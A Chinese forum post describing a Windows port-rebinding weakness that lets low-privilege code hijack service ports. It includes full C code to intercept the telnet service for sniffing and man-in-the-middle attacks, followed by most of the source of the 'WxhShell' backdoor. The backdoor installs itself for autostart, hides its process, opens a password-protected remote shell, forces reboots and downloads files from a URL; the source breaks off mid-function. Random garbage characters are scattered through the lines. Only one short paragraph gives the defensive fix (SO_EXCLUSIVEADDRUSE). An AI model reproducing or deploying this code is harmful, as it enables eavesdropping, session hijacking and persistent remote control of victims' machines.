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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'v|2} T*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P'9aZd  
 (+]k{  
  saddr.sin_family = AF_INET; GPx S.&  
|>3a9]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x}x@_w   
}2c}y7B,_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b$R>GQ?#  
P)ZSxU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jZ D\u%  
1yB;"q&Xd  
  这意味着什么?意味着可以进行如下的攻击: V2FE|+R%g  
M<$l&%<`G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |I\A0aa  
') 1sw%[2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) peqFa._W  
H9)uni   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ''v1Pv-  
d7^XP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8e\v5K9  
_&%!4n#>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e4)g F*  
sId5pY!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aq5<Ks`r  
E7eVg*Cvi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ygf qP  
&HXSO,@  
  #include &yA<R::o  
  #include (x^|  
  #include =-VV`  
  #include    >Ed^dsb&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |%V.Lae  
  int main() fBLd5  
  { u3. PHZ  
  WORD wVersionRequested; >rFvT>@NU  
  DWORD ret; GC\/B0!  
  WSADATA wsaData; Ez$5wY^J  
  BOOL val; n#&RY%#`  
  SOCKADDR_IN saddr; xRY5[=97  
  SOCKADDR_IN scaddr; \QMSka>  
  int err; ?@#}%<yEq  
  SOCKET s; Ys_YjlMIbl  
  SOCKET sc; Y+jKP*ri  
  int caddsize; -mkync3  
  HANDLE mt; bp$jD  
  DWORD tid;   JZXc1R| 9  
  wVersionRequested = MAKEWORD( 2, 2 ); Ksp;bfe  
  err = WSAStartup( wVersionRequested, &wsaData ); " }ZD)7K  
  if ( err != 0 ) { !>:tF,fcB  
  printf("error!WSAStartup failed!\n"); =5|5j!i=q  
  return -1; j>b OnCp~  
  } r#Fu<so,  
  saddr.sin_family = AF_INET; qJ/C*Wqic  
   5,c`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u9gr@06  
*"CvB{XF&Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lhI;K4#  
  saddr.sin_port = htons(23); IcoL/7k3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Td  F<  
  { %xfy\of+Nk  
  printf("error!socket failed!\n"); j&Aq^aI  
  return -1; `/AzX *`  
  } }6bLukv  
  val = TRUE; $ vjmW! O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $~YuS_sYg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c~'kW`sNV  
  { @iRVY|t/  
  printf("error!setsockopt failed!\n"); 2bJFlxEU  
  return -1; c'B"Onu@m*  
  } "n6Y^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l =yHx\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9A_7:V]_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |i`@!NrFL  
E&+ ^H on  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6-=_i)kzq  
  { }gW}Vr <  
  ret=GetLastError(); 7asq]Y}<  
  printf("error!bind failed!\n"); 'MUrszOO.e  
  return -1; qc6IH9i`  
  } %yMzgk[u  
  listen(s,2); `-H:j:U{  
  while(1) YzZF^q^I  
  { :65HMWy.  
  caddsize = sizeof(scaddr); f$>orVm%.  
  //接受连接请求 m#nxw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @(cS8%wK  
  if(sc!=INVALID_SOCKET) xB(:d'1|  
  { x]ti3?w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6b/b} vl  
  if(mt==NULL) ':V_V. :  
  { ]1&9~TL  
  printf("Thread Creat Failed!\n"); ~{+{pcO}  
  break; h2%:;phH  
  } >.iw8#l  
  } /=@vG Vp6  
  CloseHandle(mt); %&Cl@6  
  } _o.Z`]  
  closesocket(s); 4iz&"~&1  
  WSACleanup(); ]K7  64}  
  return 0;  /Xz4q!Ul  
  }   +*J4q5;E[?  
  DWORD WINAPI ClientThread(LPVOID lpParam) c2^7"`  
  { vy@Lu cB  
  SOCKET ss = (SOCKET)lpParam; pD#"8h  
  SOCKET sc; doc  
  unsigned char buf[4096]; XX-T",  
  SOCKADDR_IN saddr; q&E5[/VK:  
  long num; fqb$_>3Ol  
  DWORD val; X^Y9T`mQ}  
  DWORD ret; pCmJY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fw9``{4w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nEm7&Gb  
  saddr.sin_family = AF_INET; :*@|"4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *$(CiyF!  
  saddr.sin_port = htons(23); @(c<av?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @S7=6RKa[  
  { H040-Q;S'  
  printf("error!socket failed!\n"); : xZC7"  
  return -1; M@g gLW  
  } JJ?ri,  
  val = 100; d&bc>Vt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UWp8I)p!\O  
  { LtztjAm.  
  ret = GetLastError(); p^rX.?X  
  return -1; ~5uNw*H  
  } 6wB>-/'Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0NtsFPO  
  { ]&U|d  
  ret = GetLastError(); Noxz kpMF  
  return -1; ?0NSjK5ma  
  } Ro]IE|Fv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %"Q!5qH&  
  { iwJ-<v_:h  
  printf("error!socket connect failed!\n"); e H  
  closesocket(sc); T(UYlLe  
  closesocket(ss); mzxvfXSF  
  return -1; htYrv5q=M  
  } -Y=c g;  
  while(1) d:pm|C|F  
  { % `T5a<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M3@fc,Ch  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6Y )^)dOi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !* Z)[[  
  num = recv(ss,buf,4096,0); e K1m(E.=  
  if(num>0) pE/3-0;}N  
  send(sc,buf,num,0); d4>-a^)V  
  else if(num==0) 8ex:OTzn|  
  break; y/I ~x+ y  
  num = recv(sc,buf,4096,0); q;../h]Ne  
  if(num>0) J+ZdZa}Ob  
  send(ss,buf,num,0); $lAb6e$n  
  else if(num==0) Q(5:~**I  
  break; xO<-<sRA  
  } 0nz@O^*g(  
  closesocket(ss); bC>>^?U1m  
  closesocket(sc); pt%~,M _  
  return 0 ;  +wW  
  } _@pf1d$  
kqigFcz!Y  
B"8JFf}"q  
========================================================== 11<@++,i  
L +rySP  
下边附上一个代码,,WXhSHELL P9i9<pR  
vDeG20.?Z  
========================================================== sQ:VrXwP  
y7)[cvB  
#include "stdafx.h" hf^`at  
J=SB/8tQ)T  
#include <stdio.h> a-A+.7  
#include <string.h> c w]>a&d  
#include <windows.h> K'5sn|)  
#include <winsock2.h> mz$Wo *FB  
#include <winsvc.h> =R;1vUio  
#include <urlmon.h> 8wpwJs&V  
8pL>wL &C  
#pragma comment (lib, "Ws2_32.lib") Ky9No"o  
#pragma comment (lib, "urlmon.lib") FHNuMdFn  
Rc:cVK  
#define MAX_USER   100 // 最大客户端连接数 o*wC{VP_  
#define BUF_SOCK   200 // sock buffer ";?C4%L  
#define KEY_BUFF   255 // 输入 buffer EM 54  
v8[ek@  
#define REBOOT     0   // 重启 b|ksMB>)  
#define SHUTDOWN   1   // 关机 &Wv`AoV  
ds$\vSd  
#define DEF_PORT   5000 // 监听端口 :KV,:13`D  
AV[PQI  
#define REG_LEN     16   // 注册表键长度 JIbzh?$aD  
#define SVC_LEN     80   // NT服务名长度 XJlDiBs9=Q  
b8{h[YJL2  
// 从dll定义API b!5tFX;J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OwiWnS<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {`Fx~w;i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G<u.+V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *VC4s`<  
Hu9-<upc&  
// wxhshell配置信息 ]i,Mq  
struct WSCFG { W`/jz/  
  int ws_port;         // 监听端口 ghobu}wuF  
  char ws_passstr[REG_LEN]; // 口令 oY2?W  
  int ws_autoins;       // 安装标记, 1=yes 0=no llaZP(pJ  
  char ws_regname[REG_LEN]; // 注册表键名 K!- &Zv  
  char ws_svcname[REG_LEN]; // 服务名 =Mu'+,dT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~0[G/A$]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4&]To@>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z)W#&JFF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |+;KhC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'tV"^KQHI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d JQ }{,+6  
mWN1Q<vn,l  
}; +NLQYuN  
^{fi^lL=  
// default Wxhshell configuration 7\0|`{|R@  
struct WSCFG wscfg={DEF_PORT, ;!0.Kk 4  
    "xuhuanlingzhe", g=oeS%>E  
    1, 76IALJ00V  
    "Wxhshell", q0b`HD  
    "Wxhshell", !|Xl 8lV`  
            "WxhShell Service", :L [YmZ  
    "Wrsky Windows CmdShell Service", B=q)}aWc  
    "Please Input Your Password: ", Jp.3KA>  
  1, >xU72l#5  
  "http://www.wrsky.com/wxhshell.exe", >d27[%  
  "Wxhshell.exe" .sJys SA\  
    }; 0.u9f`04  
TM/|K|_  
// 消息定义模块 iB}LnC:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9o_ g_q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qrM{b=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ft"&NtXeZZ  
char *msg_ws_ext="\n\rExit."; [TbG55  
char *msg_ws_end="\n\rQuit."; zqvRkMWcM  
char *msg_ws_boot="\n\rReboot..."; M\y~0uZ  
char *msg_ws_poff="\n\rShutdown..."; HoIKx_  
char *msg_ws_down="\n\rSave to "; s;-78ejj7  
p-Rm,xyL%  
char *msg_ws_err="\n\rErr!"; -VreBKn  
char *msg_ws_ok="\n\rOK!"; 3lLW'g&=  
`u p-m=zA  
char ExeFile[MAX_PATH]; gc,J2B]61  
int nUser = 0; y,y/PyN)  
HANDLE handles[MAX_USER]; 5Aa31"43n  
int OsIsNt; o&hKg#nO83  
*3.yumcv{L  
SERVICE_STATUS       serviceStatus; Z/NGv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1C}pv{0:&  
A"\P&kqMV  
// 函数声明 EDq$vB  
int Install(void); ')P2O\YS  
int Uninstall(void); j'#jnP*P  
int DownloadFile(char *sURL, SOCKET wsh); \'s$ZN$k  
int Boot(int flag); r3[t<xlFf  
void HideProc(void); r}_Lb.1]  
int GetOsVer(void); ) 8x:x7?  
int Wxhshell(SOCKET wsl); .y %pGi  
void TalkWithClient(void *cs); y(/jTS/ hd  
int CmdShell(SOCKET sock); Xc8= 2n  
int StartFromService(void); JK(`6qB>(6  
int StartWxhshell(LPSTR lpCmdLine); ^ Hz  
h \D_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y"|K |QT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t`<}UWAH+  
C}(<PNT  
// 数据结构和表定义 so?pA@O  
SERVICE_TABLE_ENTRY DispatchTable[] = cotxo?)Zv  
{ 0$xK   
{wscfg.ws_svcname, NTServiceMain}, B91S h`  
{NULL, NULL} Pp1zW3+Q  
}; {(m+M  
ibZt2@GB)I  
// 自我安装 t-*VsPy  
int Install(void) "4Lg8qm  
{ >0Fxyv8  
  char svExeFile[MAX_PATH]; ^MWEfPt  
  HKEY key; "t (1tWO1o  
  strcpy(svExeFile,ExeFile); ! F0rd9  
_KSfP7VU  
// 如果是win9x系统,修改注册表设为自启动 c W81  
if(!OsIsNt) { _" ?c9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { };|!Lhl+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *<`7|BH3  
  RegCloseKey(key); ShL1'Z} ^{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X[GIOPDx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86;+r'3p.  
  RegCloseKey(key); G*P[z'K=  
  return 0; (*Gi~?-  
    } }j+~'O4m  
  } qy7hkq.uX  
} f nLR  
else { + >T7Q`64  
8N=%X-R%  
// 如果是NT以上系统,安装为系统服务 H$NP1^5!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rmY,v  
if (schSCManager!=0) ]Y_{P~ZX  
{ \GijNn9ah  
  SC_HANDLE schService = CreateService m!HC-[<  
  ( ;,v!7   
  schSCManager, s"I-YFP%c  
  wscfg.ws_svcname, _-4n ~(  
  wscfg.ws_svcdisp, A|p@\3 P*A  
  SERVICE_ALL_ACCESS, ?o2;SY(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uI%N?  
  SERVICE_AUTO_START, 4)3g!o ?  
  SERVICE_ERROR_NORMAL, *A~($ZtL  
  svExeFile, ;jRL3gAe)  
  NULL, b\SXZN)Be  
  NULL, {c v;w  
  NULL, l?3vNa FeR  
  NULL, /M0l p   
  NULL 5xh!f%6  
  ); @Ufa -h5"(  
  if (schService!=0) HBt|}uZ?6i  
  { G"G{AS  
  CloseServiceHandle(schService); SL[rn<x|  
  CloseServiceHandle(schSCManager); _v1bTg"?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -rE eKt  
  strcat(svExeFile,wscfg.ws_svcname); Zij"/gx\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *0=fT}&!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nc G,0K  
  RegCloseKey(key); KotPV  
  return 0; T{_1c oL  
    } @PYW|*VS  
  } MC4284A5  
  CloseServiceHandle(schSCManager); sx-EA&5-9k  
} Oq #o1>  
} o `b`*Z  
6!4';2Q  
return 1; Of1IdE6~  
} pBlRd{#fL  
4fu'QZ(}  
// 自我卸载  5Waw?1GL  
int Uninstall(void) z[WC7hvU  
{ fm3(70F\  
  HKEY key; J)-T:.i|0  
?F!EB4E\y}  
if(!OsIsNt) { ^dFh g_GhF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s9uL<$,'  
  RegDeleteValue(key,wscfg.ws_regname); C}n'>],p  
  RegCloseKey(key); 2~vo+ng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <\>+~p,  
  RegDeleteValue(key,wscfg.ws_regname); @)9REA(U  
  RegCloseKey(key); i?ZA x4D  
  return 0; J$1j-\KS  
  } N YCj; ,V  
} 5){tBK|  
} zx ct(  
else { q]F4Lq(  
EYA/CI   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x$~3$E  
if (schSCManager!=0) U'rr?,RML  
{ A|2 <A !  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q}WL/X5  
  if (schService!=0) V]r hr  
  { r %+Bc Y  
  if(DeleteService(schService)!=0) { smQ4CLJ  
  CloseServiceHandle(schService); V@B7 P{gH  
  CloseServiceHandle(schSCManager); MKomq  
  return 0; +T-@5 v[  
  } YKc>6)j  
  CloseServiceHandle(schService); R78!x*U}  
  } 3 t/ R2M  
  CloseServiceHandle(schSCManager); 6hp{,8|D"m  
} I|H,)!Z  
} 7 n\mj\  
$2Kau 1  
return 1; iwvt%7  
} Vre=%bGw  
dAL0.>|`0  
// 从指定url下载文件 (RExV?:  
int DownloadFile(char *sURL, SOCKET wsh) Kl2}o|b   
{ Tj Mb>w9  
  HRESULT hr; DG3[^B  
char seps[]= "/"; pfR"s:#  
char *token; +eU`H[iu  
char *file; ?2/uSG|  
char myURL[MAX_PATH]; * nLIXnm  
char myFILE[MAX_PATH]; <}&7 a s  
y7>iz6N  
strcpy(myURL,sURL); 8B j4 _!g  
  token=strtok(myURL,seps); HC?0Lj  
  while(token!=NULL) P= e4lF.  
  { 'c#IMlv  
    file=token; ,E%1Uq"  
  token=strtok(NULL,seps); 9e]'OKL+  
  } o\&~CW~@~  
hBjVe?{  
GetCurrentDirectory(MAX_PATH,myFILE); i^R{Ul[  
strcat(myFILE, "\\"); vT%qILTrQf  
strcat(myFILE, file); ;8BA~,4l  
  send(wsh,myFILE,strlen(myFILE),0); {wcO[bN  
send(wsh,"...",3,0); juH wHt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K|US~Hgv  
  if(hr==S_OK) Yhe+u\vGs\  
return 0; "2%>M  
else 6eM6[  
return 1; #^Ys{  
^/k ,  
} z9 O~W5-U  
 O)OUy  
// 系统电源模块 >'N!dM.+9  
int Boot(int flag) 8[oYZrg  
{ bQ<b[  
  HANDLE hToken; 3&$Nd  
  TOKEN_PRIVILEGES tkp; #VO.%H}i  
lw s(/a*c  
  if(OsIsNt) { {$0&R$v3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !Qcir&]C>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]Dh1~k.Kp  
    tkp.PrivilegeCount = 1; te)n{K",  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8`*`nQhWa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \2j|=S6  
if(flag==REBOOT) { wra byRjK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ka#K [qI  
  return 0; t}VwVf<K  
} 6%E~p0)i%  
else { nx B32  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q{[@`bZB  
  return 0; Lbsr_*4t  
} 9^au$KoU  
  } +>4^mE" \  
  else { []"=]f{1};  
if(flag==REBOOT) { , |l@j%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wYjQ V?,  
  return 0; ~H u"yAR  
} f|#8qiUS  
else { &Xv1[nByU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z["BgEJ  
  return 0; Pr`s0J%m  
} \"'\MA  
} z{|LQt6q  
>ukQ, CE~  
return 1; (')(d HHW  
} 8aZ$5^z  
Pxqiv9D<R  
// win9x进程隐藏模块 =-Nsc1&  
void HideProc(void) ~p\n&{P0  
{ \DS^i`o)rY  
MxTmWsaW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]-:1se  
  if ( hKernel != NULL ) 781]THY=  
  { vOe0}cR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c" +zgP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #]y5z i  
    FreeLibrary(hKernel); IC/Q  
  } j=9ze op %  
O |WbFf  
return; pv&^D,H,  
} _f|/*. @Q  
,#d[ad<  
// 获取操作系统版本 `eC+% O  
int GetOsVer(void) +ubnx{VC  
{ ?}8IQxU  
  OSVERSIONINFO winfo; # $~ oe"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cIb4-TeV  
  GetVersionEx(&winfo); M|8 3HTJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W Y:s gG  
  return 1; 6G}c1nWU  
  else B.*"Xfr8  
  return 0; 1"YpO"Rh  
} JDA]t&D!v  
Y\( ;!o0a  
// 客户端句柄模块 ezn` _x_?  
int Wxhshell(SOCKET wsl) MM gx|"  
{ 4,~tl~FD  
  SOCKET wsh; }Eh*xOta  
  struct sockaddr_in client; ne*#+Q{E  
  DWORD myID; [7.agI@=  
YE\K<T jH  
  while(nUser<MAX_USER) '$[Di'*;  
{ `Mk4sKU\a  
  int nSize=sizeof(client); ")%r}:0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [!~}S  
  if(wsh==INVALID_SOCKET) return 1; q@ZlJ3%l,  
|')-VhLLK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cDeZMsV  
if(handles[nUser]==0) utH%y\NMF|  
  closesocket(wsh); S-!=NX&C  
else 0 iR R{a<  
  nUser++; "hPCQp`Tj  
  } <lj\#'G3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V`bs&5#Sx  
si(cOCj/  
  return 0; ($>XIb9f  
} -DCa   
4pPI'd&/7  
// 关闭 socket e_rzA  
void CloseIt(SOCKET wsh) !ni>\lZ  
{ ]JMl|e  
closesocket(wsh); Qn|+eLY  
nUser--; Jhy(x1%  
ExitThread(0); 9/kXc4  
} 9$RI H\*  
BJ5}GX!  
// 客户端请求句柄 BQ#L+9%  
void TalkWithClient(void *cs) @Y-TOCadT  
{ 0^&!6R  
2|{V,!/cvG  
  SOCKET wsh=(SOCKET)cs; x8"#!Pw:`"  
  char pwd[SVC_LEN]; N wtg%;  
  char cmd[KEY_BUFF]; `@XehSQ  
char chr[1]; Wi$dZOcSJ  
int i,j; cj g.lzY H  
.Dw,"VHP  
  while (nUser < MAX_USER) { ~xDw*AC-  
c-8!#~M(  
if(wscfg.ws_passstr) { z<&m*0WYA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lh ap4:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /!T> b:0  
  //ZeroMemory(pwd,KEY_BUFF); SlaDt  
      i=0; CDdkoajBa  
  while(i<SVC_LEN) { -^SA8y  
c\.P/~  
  // 设置超时 ,.v7FM^gO  
  fd_set FdRead; 7bF*AYM  
  struct timeval TimeOut; Y7SacRO  
  FD_ZERO(&FdRead); A-uB\ L  
  FD_SET(wsh,&FdRead); 98=la,^$  
  TimeOut.tv_sec=8; ?WFh',`:  
  TimeOut.tv_usec=0; d,9`<1{9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8l>CR#%@C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' ~Q2!F  
YI@Fhr &NU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =SBBvnPLI  
  pwd=chr[0]; yPgmg@G@/  
  if(chr[0]==0xd || chr[0]==0xa) { o2uj =Gnx  
  pwd=0; z$[C#5+2  
  break; >oJkJ$|wU  
  } LFu%v7L`  
  i++; `ifiL   
    } ao$.6X8fQ  
L CSeOR  
  // 如果是非法用户,关闭 socket IIz0m3';+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1-VT}J(  
} L?RF;jf  
Vrp[r *V@E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'C>U=cE7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^p=L\SJ  
KQ`=t   
while(1) { ||eAE)  
1*Ar{:+ua  
  ZeroMemory(cmd,KEY_BUFF); `G$1n#&  
BfmsMW  
      // 自动支持客户端 telnet标准   k6**u  
  j=0; ;[$n=VX`  
  while(j<KEY_BUFF) { -<f;l _(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q+$Tt7/  
  cmd[j]=chr[0]; +j[oEI`e  
  if(chr[0]==0xa || chr[0]==0xd) { Z|* !y]We  
  cmd[j]=0; $_X|, v9  
  break; 23ze/;6%A  
  } i7Z=|&  
  j++; ]axh*J3`i  
    } c&'JmKV>&  
%f ju G  
  // 下载文件 z#Nl@NO&  
  if(strstr(cmd,"http://")) { :`Az/U[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .EP6oKA  
  if(DownloadFile(cmd,wsh)) `-UJ /{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Kbl3fUF  
  else jC, FG'P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G|u3UhyB  
  } BNucc']  
  else { %NARyz  
Qt+:4{He  
    switch(cmd[0]) { b,^*mx=  
  ;<wS+4,  
  // 帮助 mpay^.(%  
  case '?': { -J0WUN$2*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C"w {\ &R  
    break; H+C6[W=  
  } L;6.r3bL  
  // 安装 \%A%s*1  
  case 'i': { xN0*8  
    if(Install()) V H^AcO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A( d5G^  
    else ktH8as^54!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2yJ#  
    break; M>H=z#C>/A  
    } my.`k'  
  // 卸载 [_6&N.  
  case 'r': { 'mMjjG9  
    if(Uninstall()) }_OM$nzj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fI|[Z+"  
    else f4('gl9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^U  q  
    break; d/,E2i{I7  
    } \5><3*\  
  // 显示 wxhshell 所在路径 8v92N g7  
  case 'p': { &tI#T)SSs  
    char svExeFile[MAX_PATH]; k|E]YvnfG  
    strcpy(svExeFile,"\n\r"); 0ZI(/r  
      strcat(svExeFile,ExeFile); !~iGu\y  
        send(wsh,svExeFile,strlen(svExeFile),0); 7C,T&g 1:  
    break; IB5BO7J  
    } ;N=G=X|}  
  // 重启 Ug"rJMZG  
  case 'b': { ! . HnGb+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g!J0L7 i|  
    if(Boot(REBOOT)) /Z%>ArAx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I!: z,t<  
    else { 4Yjx{5QSAG  
    closesocket(wsh); y2yKm1<Ru<  
    ExitThread(0); "^CXY3v  
    } bE\,}DTy  
    break; +: Ge_-  
    } lE#m]D  
  // 关机 ,^s  
  case 'd': { )R)a@op  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 40P) 4w  
